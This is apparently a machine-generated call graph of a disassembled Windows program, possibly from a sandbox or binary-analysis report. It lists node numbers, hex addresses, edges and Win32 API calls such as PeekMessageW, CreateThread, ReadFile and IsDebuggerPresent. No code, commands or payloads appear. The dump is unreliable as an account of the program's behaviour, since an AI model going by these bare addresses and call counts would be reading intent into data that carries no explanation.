98916 7f3418 98917 7b53b0 265 API calls 98916->98917 98919 7f3448 98917->98919 98919->98935 99080 7b39be 98919->99080 98922 7f31c3 99059 81a48d 89 API calls 4 library calls 98922->99059 98923 7b3c30 68 API calls 98923->98932 98925 7f346f 99084 81a48d 89 API calls 4 library calls 98925->99084 98928 7b5190 Mailbox 59 API calls 98928->98932 99054 81a48d 89 API calls 4 library calls 98929->99054 98930 7d0fe6 59 API calls Mailbox 98930->98932 98931 7b523c 59 API calls 98931->98932 98932->98902 98932->98903 98932->98909 98932->98912 98932->98913 98932->98916 98932->98922 98932->98923 98932->98925 98932->98928 98932->98929 98932->98930 98932->98931 98933 7c1c9c 59 API calls 98932->98933 98932->98935 98972 7b3add 98932->98972 98979 7bbc70 98932->98979 99053 7b3a40 59 API calls Mailbox 98932->99053 99060 806c62 59 API calls 2 library calls 98932->99060 99061 82a9c3 85 API calls Mailbox 98932->99061 99062 806c1e 59 API calls Mailbox 98932->99062 99063 815ef2 68 API calls 98932->99063 99064 7b3ea3 98932->99064 99085 81a12a 59 API calls 98932->99085 98933->98932 98935->98590 98936->98591 98937->98595 98938->98870 98940 7f2d51 98939->98940 98943 7ba84c 98939->98943 98963 81a48d 89 API calls 4 library calls 98940->98963 98942 7f2d62 98942->98885 98944 7f2d6a 98943->98944 98951 7ba888 _memmove 98943->98951 98964 81a48d 89 API calls 4 library calls 98944->98964 98946 7d0fe6 59 API calls Mailbox 98946->98951 98948 7f2dae 98965 7ba9de 265 API calls 98948->98965 98949 7b53b0 265 API calls 98949->98951 98951->98946 98951->98948 98951->98949 98952 7f2dc8 98951->98952 98953 7ba975 98951->98953 98954 7ba962 98951->98954 98952->98953 98966 81a48d 89 API calls 4 library calls 98952->98966 98953->98885 98954->98953 98962 82a9c3 85 API calls Mailbox 98954->98962 98957 807085 98956->98957 98959 82f1b2 91 API calls 98957->98959 98958 8070d9 98958->98887 98959->98958 98960->98887 98961->98884 98962->98953 98963->98942 98964->98953 98965->98952 98966->98953 98968 7c374f 98967->98968 98971 7c376a 98967->98971 98969 7c1aa4 59 API calls 98968->98969 98970 7c3757 CharUpperBuffW 98969->98970 98970->98971 98971->98899 98973 7ed3cd 98972->98973 98974 7b3aee 98972->98974 98975 7d0fe6 Mailbox 59 API calls 98974->98975 98976 7b3af5 98975->98976 98977 7b3b16 98976->98977 99087 7b3ba5 59 API calls Mailbox 98976->99087 98977->98932 98980 7f359f 98979->98980 98991 7bbc95 98979->98991 99153 81a48d 89 API calls 4 library calls 98980->99153 98982 7bbf3b 98982->98932 98987 7bbf25 Mailbox 98987->98982 99135 7bc460 98987->99135 98990 7bc2ca LockWindowUpdate DestroyWindow GetMessageW 98990->98982 98992 7bc2fc 98990->98992 99017 7bbca5 Mailbox 98991->99017 99154 7b5376 60 API calls 98991->99154 99155 80700c 265 API calls 98991->99155 98994 7f4509 TranslateMessage DispatchMessageW GetMessageW 98992->98994 98993 7f36b3 Sleep 98993->99017 98994->98982 98994->98994 98995 7b5376 60 API calls 98995->99017 98996 7f405d WaitForSingleObject 99000 7f407d GetExitCodeProcess CloseHandle 98996->99000 98996->99017 98997 7bbf54 timeGetTime 98997->99017 98999 7bc210 Sleep 99020 7bc1fa Mailbox 98999->99020 99021 7bc36b 99000->99021 99001 7c1c9c 59 API calls 99001->99017 99002 7c1207 59 API calls 99002->99020 99003 7f43a9 Sleep 99003->99020 99004 7d0fe6 59 API calls Mailbox 99004->99017 99006 7d0859 timeGetTime 99006->99020 99008 7bc324 timeGetTime 99152 7b5376 60 API calls 99008->99152 99010 814148 66 API calls 99010->99020 99011 7f4440 GetExitCodeProcess 99013 7f446c CloseHandle 99011->99013 99014 7f4456 WaitForSingleObject 99011->99014 99012 7b4d37 84 API calls 99012->99017 99013->99020 99014->99013 99014->99017 99015 836562 110 API calls 99015->99020 99017->98987 99017->98993 99017->98995 99017->98996 99017->98997 99017->98999 99017->99001 99017->99003 99017->99004 99017->99008 99017->99012 99018 7b6d79 109 API calls 99017->99018 99017->99020 99017->99021 99031 7bc26d 99017->99031 99032 7bb020 243 API calls 99017->99032 99035 7c1a36 59 API calls 99017->99035 99036 82c355 243 API calls 99017->99036 99038 7ba820 243 API calls 99017->99038 99039 7b6cd8 243 API calls 99017->99039 99040 7b53b0 243 API calls 99017->99040 99041 7b39be 68 API calls 99017->99041 99042 806cf1 59 API calls Mailbox 99017->99042 99044 81a48d 89 API calls 99017->99044 99045 7b3ea3 68 API calls 99017->99045 99046 7f3e13 VariantClear 99017->99046 99047 7f3ea9 VariantClear 99017->99047 99048 7f3c57 VariantClear 99017->99048 99049 7b41c4 59 API calls Mailbox 99017->99049 99050 807aad 59 API calls 99017->99050 99051 7b5190 59 API calls Mailbox 99017->99051 99052 82e60c 130 API calls 99017->99052 99088 7b52b0 99017->99088 99097 7b9a00 99017->99097 99104 7b9c80 99017->99104 99156 836655 59 API calls 99017->99156 99157 81a058 59 API calls Mailbox 99017->99157 99158 80e0aa 59 API calls 99017->99158 99159 806c62 59 API calls 2 library calls 99017->99159 99160 7b38ff 59 API calls 99017->99160 99161 7b3a40 59 API calls Mailbox 99017->99161 99018->99017 99020->98999 99020->99002 99020->99006 99020->99010 99020->99011 99020->99015 99020->99017 99020->99021 99022 7f38aa Sleep 99020->99022 99023 7f44c8 Sleep 99020->99023 99026 7c1a36 59 API calls 99020->99026 99029 7b3ea3 68 API calls 99020->99029 99162 812baf 60 API calls 99020->99162 99163 7b5376 60 API calls 99020->99163 99164 7b6cd8 265 API calls 99020->99164 99165 8070e2 59 API calls 99020->99165 99166 8157ff QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 99020->99166 99021->98932 99022->99017 99023->99017 99026->99020 99029->99020 99034 7c1a36 59 API calls 99031->99034 99032->99017 99034->98987 99035->99017 99036->99017 99038->99017 99039->99017 99040->99017 99041->99017 99042->99017 99044->99017 99045->99017 99046->99017 99047->99017 99048->99017 99049->99017 99050->99017 99051->99017 99052->99017 99053->98932 99054->98897 99055->98935 99056->98935 99057->98904 99058->98935 99059->98935 99060->98932 99061->98932 99062->98932 99063->98932 99229 7b3c30 99064->99229 99066 7b3eb3 99067 7b3f2d 99066->99067 99068 7b3ebd 99066->99068 99238 7b523c 59 API calls 99067->99238 99069 7d0fe6 Mailbox 59 API calls 99068->99069 99071 7b3ece 99069->99071 99073 7b3edc 99071->99073 99074 7c1207 59 API calls 99071->99074 99072 7b3f1d 99072->98932 99075 7b3eeb 99073->99075 99236 7c1bcc 59 API calls 2 library calls 99073->99236 99074->99073 99077 7d0fe6 Mailbox 59 API calls 99075->99077 99078 7b3ef5 99077->99078 99237 7b3bc8 68 API calls 99078->99237 99081 7b39c9 99080->99081 99082 7b3ea3 68 API calls 99081->99082 99083 7b39f0 99081->99083 99082->99083 99083->98925 99084->98935 99085->98932 99086->98935 99087->98977 99089 7b52c6 99088->99089 99096 7b5313 99088->99096 99090 7b52d3 PeekMessageW 99089->99090 99089->99096 99091 7b52ec 99090->99091 99090->99096 99091->99017 99093 7b533e PeekMessageW 99093->99091 99093->99096 99094 7b5352 TranslateMessage DispatchMessageW 99094->99093 99095 7edf68 TranslateAcceleratorW 99095->99093 99095->99096 99096->99091 99096->99093 99096->99094 99096->99095 99167 7b359e 99096->99167 99098 7b9a1d 99097->99098 99099 7b9a31 99097->99099 99172 7b94e0 99098->99172 99206 81a48d 89 API calls 4 library calls 99099->99206 99101 7b9a28 99101->99017 99103 7f2478 99103->99103 99105 7b9cb5 99104->99105 99106 7f247d 99105->99106 99108 7b9d1f 99105->99108 99120 7b9d79 99105->99120 99107 7b53b0 265 API calls 99106->99107 99109 7f2492 99107->99109 99111 7c1207 59 API calls 99108->99111 99108->99120 99125 7b9f50 Mailbox 99109->99125 99215 81a48d 89 API calls 4 library calls 99109->99215 99110 7c1207 59 API calls 99110->99120 99113 7f24d8 99111->99113 99116 7d2f70 __cinit 67 API calls 99113->99116 99114 7d2f70 __cinit 67 API calls 99114->99120 99115 7ba058 99115->99017 99116->99120 99117 7f24fa 99117->99017 99118 7b39be 68 API calls 99118->99125 99119 7b53b0 265 API calls 99119->99125 99120->99110 99120->99114 99120->99117 99124 7b9f3a 99120->99124 99120->99125 99122 7ba775 99220 81a48d 89 API calls 4 library calls 99122->99220 99123 81a48d 89 API calls 99123->99125 99124->99125 99216 81a48d 89 API calls 4 library calls 99124->99216 99125->99115 99125->99118 99125->99119 99125->99122 99125->99123 99128 7b5190 Mailbox 59 API calls 99125->99128 99130 7b4230 59 API calls 99125->99130 99214 7c1bcc 59 API calls 2 library calls 99125->99214 99217 807aad 59 API calls 99125->99217 99218 82ccac 265 API calls 99125->99218 99219 82bc26 265 API calls Mailbox 99125->99219 99221 829ab0 265 API calls Mailbox 99125->99221 99128->99125 99129 7f27f9 99129->99017 99130->99125 99222 7d02d4 99135->99222 99137 7bc2b6 99137->98982 99140 7bc483 99137->99140 99138 8177eb 7 API calls Mailbox 99139 7bc46d 99138->99139 99139->99137 99139->99138 99141 7c1a36 59 API calls 99140->99141 99142 7bc4ad 99141->99142 99143 7b3ea3 68 API calls 99142->99143 99144 7bc4c2 Mailbox 99143->99144 99145 7c1a36 59 API calls 99144->99145 99146 7bc4ef 99145->99146 99147 7b3ea3 68 API calls 99146->99147 99150 7bc500 Mailbox 99147->99150 99148 7bc524 99148->98990 99150->99148 99227 7b5376 60 API calls 99150->99227 99228 80700c 265 API calls 99150->99228 99152->99017 99153->98991 99154->98991 99155->98991 99156->99017 99157->99017 99158->99017 99159->99017 99160->99017 99161->99017 99162->99020 99163->99020 99164->99020 99165->99020 99166->99020 99168 7b35e2 99167->99168 99170 7b35b0 99167->99170 99168->99096 99169 7b35d5 IsDialogMessageW 99169->99168 99169->99170 99170->99168 99170->99169 99171 7ed273 GetClassLongW 99170->99171 99171->99169 99171->99170 99173 7b53b0 265 API calls 99172->99173 99174 7b951f 99173->99174 99175 7f2001 99174->99175 99189 7b9527 _memmove 99174->99189 99176 7b5190 Mailbox 59 API calls 99175->99176 99181 7b9944 99176->99181 99177 7f22c0 99213 81a48d 89 API calls 4 library calls 99177->99213 99179 7f22de 99179->99179 99180 7b9583 99180->99101 99184 7d0fe6 Mailbox 59 API calls 99181->99184 99182 7b986a 99185 7b987f 99182->99185 99186 7f22b1 99182->99186 99183 7d0fe6 59 API calls Mailbox 99183->99189 99198 7b96e3 _memmove 99184->99198 99188 7d0fe6 Mailbox 59 API calls 99185->99188 99212 82a983 59 API calls 99186->99212 99197 7b977d 99188->99197 99189->99177 99189->99180 99189->99181 99189->99183 99190 7b96cf 99189->99190 99204 7b9741 99189->99204 99190->99181 99192 7b96dc 99190->99192 99191 7d0fe6 Mailbox 59 API calls 99195 7b970e 99191->99195 99194 7d0fe6 Mailbox 59 API calls 99192->99194 99193 7f22a0 99211 81a48d 89 API calls 4 library calls 99193->99211 99194->99198 99195->99204 99207 7bcca0 265 API calls 99195->99207 99197->99101 99198->99191 99198->99195 99198->99204 99201 7f2278 99210 81a48d 89 API calls 4 library calls 99201->99210 99203 7f2253 99209 81a48d 89 API calls 4 library calls 99203->99209 99204->99182 99204->99193 99204->99197 99204->99201 99204->99203 99208 7b8180 265 API calls 99204->99208 99206->99103 99207->99204 99208->99204 99209->99197 99210->99197 99211->99197 99212->99177 99213->99179 99214->99125 99215->99125 99216->99125 99217->99125 99218->99125 99219->99125 99220->99129 99221->99125 99225 7d02df 99222->99225 99223 7d02e7 99223->99139 99225->99223 99226 822db2 InternetCloseHandle InternetCloseHandle WaitForSingleObject 99225->99226 99226->99225 99227->99150 99228->99150 99230 7b3c43 99229->99230 99231 7b3e11 99229->99231 99232 7c1207 59 API calls 99230->99232 99235 7b3c54 99230->99235 99231->99066 99233 7b3e73 99232->99233 99234 7d2f70 __cinit 67 API calls 99233->99234 99234->99235 99235->99066 99236->99075 99237->99072 99238->99072 99239->98603 99240->98610 99241 7b9a88 99244 7b86e0 99241->99244 99243 7b9a96 99245 7b86fd 99244->99245 99246 7f0fad 99245->99246 99247 7f0ff8 99245->99247 99250 7b8724 99245->99250 99246->99250 99251 7f0fb5 99246->99251 99254 7f0fc2 99246->99254 99280 82aad0 265 API calls __cinit 99247->99280 99248 7b5278 59 API calls 99248->99250 99250->99248 99252 7d2f70 __cinit 67 API calls 99250->99252 99258 7b3c30 68 API calls 99250->99258 99259 7f11af 99250->99259 99262 7b8a17 99250->99262 99263 7b8b44 99250->99263 99264 7b39be 68 API calls 99250->99264 99269 7b898d 99250->99269 99270 7b3f42 68 API calls 99250->99270 99271 7b53b0 265 API calls 99250->99271 99272 7c1c9c 59 API calls 99250->99272 99274 7b3938 68 API calls 99250->99274 99275 7b855e 265 API calls 99250->99275 99276 7b84e2 89 API calls 99250->99276 99277 7b835f 265 API calls 99250->99277 99281 7b523c 59 API calls 99250->99281 99282 8073ab 59 API calls 99250->99282 99278 82b0e4 265 API calls 99251->99278 99252->99250 99254->99269 99279 82b58c 265 API calls 3 library calls 99254->99279 99257 7f1289 99257->99257 99258->99250 99283 82ae3b 89 API calls 99259->99283 99262->99243 99263->99243 99264->99250 99269->99263 99284 81a48d 89 API calls 4 library calls 99269->99284 99270->99250 99271->99250 99272->99250 99274->99250 99275->99250 99276->99250 99277->99250 99278->99254 99279->99269 99280->99250 99281->99250 99282->99250 99283->99269 99284->99257 99285 7eb7ad 99288 7bad98 99285->99288 99289 7f2f63 DestroyWindow 99288->99289 99290 7badd7 mciSendStringW 99288->99290 99302 7f2f6f 99289->99302 99291 7badf3 99290->99291 99292 7bafc0 99290->99292 99294 7bae01 99291->99294 99291->99302 99292->99291 99293 7bafcf UnregisterHotKey 99292->99293 99293->99292 99324 7bc71f 99294->99324 99297 7f2f8d FindClose 99297->99302 99298 7f2fb4 99301 7f2fd8 99298->99301 99303 7f2fc7 FreeLibrary 99298->99303 99299 7bae16 99299->99301 99310 7bae24 99299->99310 99304 7f2fec VirtualFree 99301->99304 99305 7f301a 99301->99305 99302->99297 99302->99298 99335 7c42cf 99302->99335 99303->99298 99304->99301 99307 7bae91 99305->99307 99328 817079 99305->99328 99306 7bae80 CoUninitialize 99306->99305 99306->99307 99308 7bae9c 99307->99308 99309 7f3033 99307->99309 99311 7baeac Mailbox 99308->99311 99313 7f3042 99309->99313 99339 81a240 CloseHandle 99309->99339 99310->99306 99333 7cfef1 61 API calls Mailbox 99311->99333 99319 7f3056 99313->99319 99340 80d5cb 59 API calls Mailbox 99313->99340 99315 7baec2 Mailbox 99334 7d052f 59 API calls Mailbox 99315->99334 99319->99319 99325 7bc72e Mailbox 99324->99325 99326 7bae08 99325->99326 99341 80e0aa 59 API calls 99325->99341 99326->99298 99326->99299 99342 8177eb 99328->99342 99331 7d105c 99332 8170a1 DeleteCriticalSection 99331->99332 99332->99307 99333->99315 99336 7c42e8 99335->99336 99337 7c42d9 99335->99337 99336->99337 99338 7c42ed CloseHandle 99336->99338 99337->99302 99338->99337 99339->99309 99340->99313 99341->99325 99343 8177f7 InterlockedExchange 99342->99343 99344 817087 CloseHandle CloseHandle 99342->99344 99343->99344 99345 81780b EnterCriticalSection TerminateThread WaitForSingleObject 99343->99345 99344->99331 99348 8171f0 CloseHandle 99345->99348 99347 817836 InterlockedExchange LeaveCriticalSection 99347->99344 99348->99347 99349 7b38ce 99350 7b38f9 99349->99350 99351 7b38d8 99349->99351 99356 7ed352 99350->99356 99366 806d17 59 API calls 99350->99366 99358 7b3b31 99351->99358 99354 7b38e8 99355 7b3b31 59 API calls 99354->99355 99357 7b38f8 99355->99357 99359 7b3b3f 99358->99359 99360 7b3b67 99358->99360 99361 7b3b4d 99359->99361 99362 7b3b31 59 API calls 99359->99362 99360->99354 99363 7b3b53 99361->99363 99364 7b3b31 59 API calls 99361->99364 99362->99361 99363->99360 99365 7b5190 Mailbox 59 API calls 99363->99365 99364->99363 99365->99360 99366->99350 99367 7b9a6c 99370 7b829c 99367->99370 99369 7b9a78 99371 7b82b4 99370->99371 99372 7b8308 99370->99372 99371->99372 99374 7b53b0 265 API calls 99371->99374 99376 7b8331 99372->99376 99380 81a48d 89 API calls 4 library calls 99372->99380 99377 7b82eb 99374->99377 99375 7f0ed8 99375->99375 99376->99369 99377->99376 99379 7b523c 59 API calls 99377->99379 99379->99372 99380->99375 99381 7b6981 99388 7b373a 99381->99388 99383 7b6997 99397 7b7b3f 99383->99397 99385 7b69bf 99386 7b584d 99385->99386 99409 81a48d 89 API calls 4 library calls 99385->99409 99389 7b3758 99388->99389 99390 7b3746 99388->99390 99392 7b375e 99389->99392 99393 7b3787 99389->99393 99410 7b523c 59 API calls 99390->99410 99395 7d0fe6 Mailbox 59 API calls 99392->99395 99411 7b523c 59 API calls 99393->99411 99396 7b3750 99395->99396 99396->99383 99398 7c162d 59 API calls 99397->99398 99399 7b7b64 _wcscmp 99398->99399 99400 7c1a36 59 API calls 99399->99400 99403 7b7b98 Mailbox 99399->99403 99401 7effad 99400->99401 99412 7c17e0 59 API calls Mailbox 99401->99412 99403->99385 99404 7effb8 99413 7b3938 68 API calls 99404->99413 99406 7effc9 99408 7effcd Mailbox 99406->99408 99414 7b523c 59 API calls 99406->99414 99408->99385 99409->99386 99410->99396 99411->99396 99412->99404 99413->99406 99414->99408 99415 7b1066 99420 7baaaa 99415->99420 99417 7b106c 99418 7d2f70 __cinit 67 API calls 99417->99418 99419 7b1076 99418->99419 99421 7baacb 99420->99421 99452 7d02eb 99421->99452 99425 7bab12 99426 7c1207 59 API calls 99425->99426 99427 7bab1c 99426->99427 99428 7c1207 59 API calls 99427->99428 99429 7bab26 99428->99429 99430 7c1207 59 API calls 99429->99430 99431 7bab30 99430->99431 99432 7c1207 59 API calls 99431->99432 99433 7bab6e 99432->99433 99434 7c1207 59 API calls 99433->99434 99435 7bac39 99434->99435 99462 7d0588 99435->99462 99439 7bac6b 99440 7c1207 59 API calls 99439->99440 99441 7bac75 99440->99441 99490 7cfe2b 99441->99490 99443 7bacbc 99444 7baccc GetStdHandle 99443->99444 99445 7bad18 99444->99445 99446 7f2f39 99444->99446 99447 7bad20 OleInitialize 99445->99447 99446->99445 99497 8170f3 99446->99497 99447->99417 99449 7f2f49 99503 8177c2 99449->99503 99506 7d03c4 99452->99506 99455 7d03c4 59 API calls 99456 7d032d 99455->99456 99457 7c1207 59 API calls 99456->99457 99458 7d0339 99457->99458 99459 7c1821 59 API calls 99458->99459 99460 7baad1 99459->99460 99461 7d07bb 6 API calls 99460->99461 99461->99425 99463 7c1207 59 API calls 99462->99463 99464 7d0598 99463->99464 99465 7c1207 59 API calls 99464->99465 99466 7d05a0 99465->99466 99513 7c10c3 99466->99513 99469 7c10c3 59 API calls 99470 7d05b0 99469->99470 99471 7c1207 59 API calls 99470->99471 99472 7d05bb 99471->99472 99473 7d0fe6 Mailbox 59 API calls 99472->99473 99474 7bac43 99473->99474 99475 7cff4c 99474->99475 99476 7cff5a 99475->99476 99477 7c1207 59 API calls 99476->99477 99478 7cff65 99477->99478 99479 7c1207 59 API calls 99478->99479 99480 7cff70 99479->99480 99481 7c1207 59 API calls 99480->99481 99482 7cff7b 99481->99482 99483 7c1207 59 API calls 99482->99483 99484 7cff86 99483->99484 99485 7c10c3 59 API calls 99484->99485 99486 7cff91 99485->99486 99487 7d0fe6 Mailbox 59 API calls 99486->99487 99488 7cff98 RegisterWindowMessageW 99487->99488 99488->99439 99491 7cfe3b 99490->99491 99492 80620c 99490->99492 99494 7d0fe6 Mailbox 59 API calls 99491->99494 99516 81a12a 59 API calls 99492->99516 99496 7cfe43 99494->99496 99495 806217 99496->99443 99498 7d0fe6 Mailbox 59 API calls 99497->99498 99499 8170fd 99498->99499 99500 81710c 99499->99500 99517 816fda InitializeCriticalSectionAndSpinCount 99499->99517 99500->99449 99502 81710a 99502->99449 99504 8177d0 CreateThread 99503->99504 99505 7f2f55 CloseHandle 99503->99505 99504->99505 99523 8177a8 99504->99523 99505->99447 99507 7c1207 59 API calls 99506->99507 99508 7d03cf 99507->99508 99509 7c1207 59 API calls 99508->99509 99510 7d03d7 99509->99510 99511 7c1207 59 API calls 99510->99511 99512 7d0323 99511->99512 99512->99455 99514 7c1207 59 API calls 99513->99514 99515 7c10cb 99514->99515 99515->99469 99516->99495 99520 817221 99517->99520 99521 817016 InterlockedExchange 99520->99521 99522 81722f GetCurrentProcess GetCurrentProcess DuplicateHandle 99520->99522 99521->99502 99522->99521 99524 8177b2 99523->99524 99525 8177b7 99523->99525 99527 817681 InterlockedExchange 99524->99527 99528 7d0fe6 Mailbox 59 API calls 99527->99528 99529 8176a8 99528->99529 99530 7d0fe6 Mailbox 59 API calls 99529->99530 99531 8176bb ReadFile 99530->99531 99532 817788 99531->99532 99534 8176dd 99531->99534 99535 817791 InterlockedExchange 99532->99535 99533 8176e7 EnterCriticalSection 99533->99534 99536 81770f _memmove 99533->99536 99534->99532 99534->99533 99534->99536 99535->99525 99537 81775b LeaveCriticalSection ReadFile 99536->99537 99538 7d0fe6 Mailbox 59 API calls 99536->99538 99537->99532 99537->99534 99538->99536 99539 7ee463 99540 7b373a 59 API calls 99539->99540 99541 7ee479 99540->99541 99542 7ee48f 99541->99542 99543 7ee4fa 99541->99543 99551 7b5376 60 API calls 99542->99551 99545 7bb020 265 API calls 99543->99545 99546 7ee4ee Mailbox 99545->99546 99550 7ef046 Mailbox 99546->99550 99553 81a48d 89 API calls 4 library calls 99546->99553 99548 7ee4ce 99548->99546 99552 81890a 59 API calls Mailbox 99548->99552 99551->99548 99552->99546 99553->99550 99554 7d7e83 99555 7d7e8f _wprintf 99554->99555 99591 7da038 GetStartupInfoW 99555->99591 99558 7d7e94 99593 7d8dac GetProcessHeap 99558->99593 99559 7d7eec 99560 7d7ef7 99559->99560 99679 7d7fd3 58 API calls 3 library calls 99559->99679 99594 7d9d16 99560->99594 99563 7d7efd 99564 7d7f08 __RTC_Initialize 99563->99564 99680 7d7fd3 58 API calls 3 library calls 99563->99680 99615 7dd802 99564->99615 99567 7d7f17 99568 7d7f23 GetCommandLineW 99567->99568 99681 7d7fd3 58 API calls 3 library calls 99567->99681 99634 7e5153 GetEnvironmentStringsW 99568->99634 99571 7d7f22 99571->99568 99574 7d7f3d 99575 7d7f48 99574->99575 99682 7d32e5 58 API calls 3 library calls 99574->99682 99644 7e4f88 99575->99644 99578 7d7f4e 99579 7d7f59 99578->99579 99683 7d32e5 58 API calls 3 library calls 99578->99683 99658 7d331f 99579->99658 99582 7d7f61 99583 7d7f6c __wwincmdln 99582->99583 99684 7d32e5 58 API calls 3 library calls 99582->99684 99664 7c5f8b 99583->99664 99586 7d7f80 99587 7d7f8f 99586->99587 99676 7d3588 99586->99676 99685 7d3310 58 API calls _doexit 99587->99685 99590 7d7f94 _wprintf 99592 7da04e 99591->99592 99592->99558 99593->99559 99686 7d33b7 36 API calls 2 library calls 99594->99686 99596 7d9d1b 99687 7d9f6c InitializeCriticalSectionAndSpinCount __getstream 99596->99687 99598 7d9d20 99599 7d9d24 99598->99599 99689 7d9fba TlsAlloc 99598->99689 99688 7d9d8c 61 API calls 2 library calls 99599->99688 99602 7d9d29 99602->99563 99603 7d9d36 99603->99599 99604 7d9d41 99603->99604 99690 7d8a05 99604->99690 99607 7d9d83 99698 7d9d8c 61 API calls 2 library calls 99607->99698 99610 7d9d62 99610->99607 99612 7d9d68 99610->99612 99611 7d9d88 99611->99563 99697 7d9c63 58 API calls 4 library calls 99612->99697 99614 7d9d70 GetCurrentThreadId 99614->99563 99616 7dd80e _wprintf 99615->99616 99617 7d9e3b __lock 58 API calls 99616->99617 99618 7dd815 99617->99618 99619 7d8a05 __calloc_crt 58 API calls 99618->99619 99621 7dd826 99619->99621 99620 7dd891 GetStartupInfoW 99628 7dd8a6 99620->99628 99629 7dd9d5 99620->99629 99621->99620 99622 7dd831 _wprintf @_EH4_CallFilterFunc@8 99621->99622 99622->99567 99623 7dda9d 99712 7ddaad LeaveCriticalSection _doexit 99623->99712 99625 7d8a05 __calloc_crt 58 API calls 99625->99628 99626 7dda22 GetStdHandle 99626->99629 99627 7dda35 GetFileType 99627->99629 99628->99625 99628->99629 99631 7dd8f4 99628->99631 99629->99623 99629->99626 99629->99627 99711 7da05b InitializeCriticalSectionAndSpinCount 99629->99711 99630 7dd928 GetFileType 99630->99631 99631->99629 99631->99630 99710 7da05b InitializeCriticalSectionAndSpinCount 99631->99710 99635 7d7f33 99634->99635 99636 7e5164 99634->99636 99640 7e4d4b GetModuleFileNameW 99635->99640 99637 7d8a4d __malloc_crt 58 API calls 99636->99637 99638 7e518a _memmove 99637->99638 99639 7e51a0 FreeEnvironmentStringsW 99638->99639 99639->99635 99641 7e4d7f _wparse_cmdline 99640->99641 99642 7d8a4d __malloc_crt 58 API calls 99641->99642 99643 7e4dbf _wparse_cmdline 99641->99643 99642->99643 99643->99574 99645 7e4fa1 __wsetenvp 99644->99645 99649 7e4f99 99644->99649 99646 7d8a05 __calloc_crt 58 API calls 99645->99646 99647 7e4fca __wsetenvp 99646->99647 99647->99649 99650 7e5021 99647->99650 99651 7d8a05 __calloc_crt 58 API calls 99647->99651 99652 7e5046 99647->99652 99655 7e505d 99647->99655 99713 7e4837 58 API calls 2 library calls 99647->99713 99648 7d2f85 _free 58 API calls 99648->99649 99649->99578 99650->99648 99651->99647 99654 7d2f85 _free 58 API calls 99652->99654 99654->99649 99714 7d8ff6 IsProcessorFeaturePresent 99655->99714 99657 7e5069 99657->99578 99660 7d332b __IsNonwritableInCurrentImage 99658->99660 99737 7da701 99660->99737 99661 7d3349 __initterm_e 99662 7d2f70 __cinit 67 API calls 99661->99662 99663 7d3368 _doexit __IsNonwritableInCurrentImage 99661->99663 99662->99663 99663->99582 99665 7c5fa5 99664->99665 99675 7c6044 99664->99675 99666 7c5fdf IsThemeActive 99665->99666 99740 7d359c 99666->99740 99670 7c600b 99752 7c5f00 SystemParametersInfoW SystemParametersInfoW 99670->99752 99672 7c6017 99753 7c5240 99672->99753 99674 7c601f SystemParametersInfoW 99674->99675 99675->99586 100790 7d3459 99676->100790 99678 7d3597 99678->99587 99679->99560 99680->99564 99681->99571 99685->99590 99686->99596 99687->99598 99688->99602 99689->99603 99693 7d8a0c 99690->99693 99692 7d8a47 99692->99607 99696 7da016 TlsSetValue 99692->99696 99693->99692 99695 7d8a2a 99693->99695 99699 7e5426 99693->99699 99695->99692 99695->99693 99707 7da362 Sleep 99695->99707 99696->99610 99697->99614 99698->99611 99700 7e5431 99699->99700 99703 7e544c 99699->99703 99701 7e543d 99700->99701 99700->99703 99708 7d8d58 58 API calls __getptd_noexit 99701->99708 99702 7e545c HeapAlloc 99702->99703 99705 7e5442 99702->99705 99703->99702 99703->99705 99709 7d35d1 DecodePointer 99703->99709 99705->99693 99707->99695 99708->99705 99709->99703 99710->99631 99711->99629 99712->99622 99713->99647 99715 7d9001 99714->99715 99720 7d8e89 99715->99720 99719 7d901c 99719->99657 99721 7d8ea3 _memset __call_reportfault 99720->99721 99722 7d8ec3 IsDebuggerPresent 99721->99722 99728 7da385 SetUnhandledExceptionFilter UnhandledExceptionFilter 99722->99728 99725 7d8f87 __call_reportfault 99729 7dc826 99725->99729 99726 7d8faa 99727 7da370 GetCurrentProcess TerminateProcess 99726->99727 99727->99719 99728->99725 99730 7dc82e 99729->99730 99731 7dc830 IsProcessorFeaturePresent 99729->99731 99730->99726 99733 7e5b3a 99731->99733 99736 7e5ae9 5 API calls 2 library calls 99733->99736 99735 7e5c1d 99735->99726 99736->99735 99738 7da704 EncodePointer 99737->99738 99738->99738 99739 7da71e 99738->99739 99739->99661 99741 7d9e3b __lock 58 API calls 99740->99741 99742 7d35a7 DecodePointer EncodePointer 99741->99742 99805 7d9fa5 LeaveCriticalSection 99742->99805 99744 7c6004 99745 7d3604 99744->99745 99746 7d360e 99745->99746 99747 7d3628 99745->99747 99746->99747 99806 7d8d58 58 API calls __getptd_noexit 99746->99806 99747->99670 99749 7d3618 99807 7d8fe6 9 API calls __wsopen_nolock 99749->99807 99751 7d3623 99751->99670 99752->99672 99754 7c524d __write_nolock 99753->99754 99755 7c1207 59 API calls 99754->99755 99756 7c5258 GetCurrentDirectoryW 99755->99756 99808 7c4ec8 99756->99808 99758 7c527e IsDebuggerPresent 99759 7c528c 99758->99759 99760 800b21 MessageBoxA 99758->99760 99761 800b39 99759->99761 99762 7c52a0 99759->99762 99760->99761 99916 7c314d 59 API calls Mailbox 99761->99916 99876 7c31bf 99762->99876 99765 800b49 99774 800b5f SetCurrentDirectoryW 99765->99774 99767 7c5358 99769 7c535f SetCurrentDirectoryW 99767->99769 99768 7c52be GetFullPathNameW 99770 7c1821 59 API calls 99768->99770 99771 7c536c Mailbox 99769->99771 99771->99674 99774->99771 99805->99744 99806->99749 99807->99751 99809 7c1207 59 API calls 99808->99809 99810 7c4ede 99809->99810 99919 7c5420 99810->99919 99812 7c4efc 99813 7c19e1 59 API calls 99812->99813 99814 7c4f10 99813->99814 99815 7c1c9c 59 API calls 99814->99815 99816 7c4f1b 99815->99816 99933 7b477a 99816->99933 99819 7c1a36 59 API calls 99820 7c4f34 99819->99820 99821 7b39be 68 API calls 99820->99821 99822 7c4f44 Mailbox 99821->99822 99823 7c1a36 59 API calls 99822->99823 99824 7c4f68 99823->99824 99825 7b39be 68 API calls 99824->99825 99826 7c4f77 Mailbox 99825->99826 99827 7c1207 59 API calls 99826->99827 99828 7c4f94 99827->99828 99936 7c55bc 99828->99936 99831 7d312d _W_store_winword 60 API calls 99832 7c4fae 99831->99832 99833 800a54 99832->99833 99834 7c4fb8 99832->99834 99835 7c55bc 59 API calls 99833->99835 99836 7d312d _W_store_winword 60 API calls 99834->99836 99837 800a68 99835->99837 99838 7c4fc3 99836->99838 99840 7c55bc 59 API calls 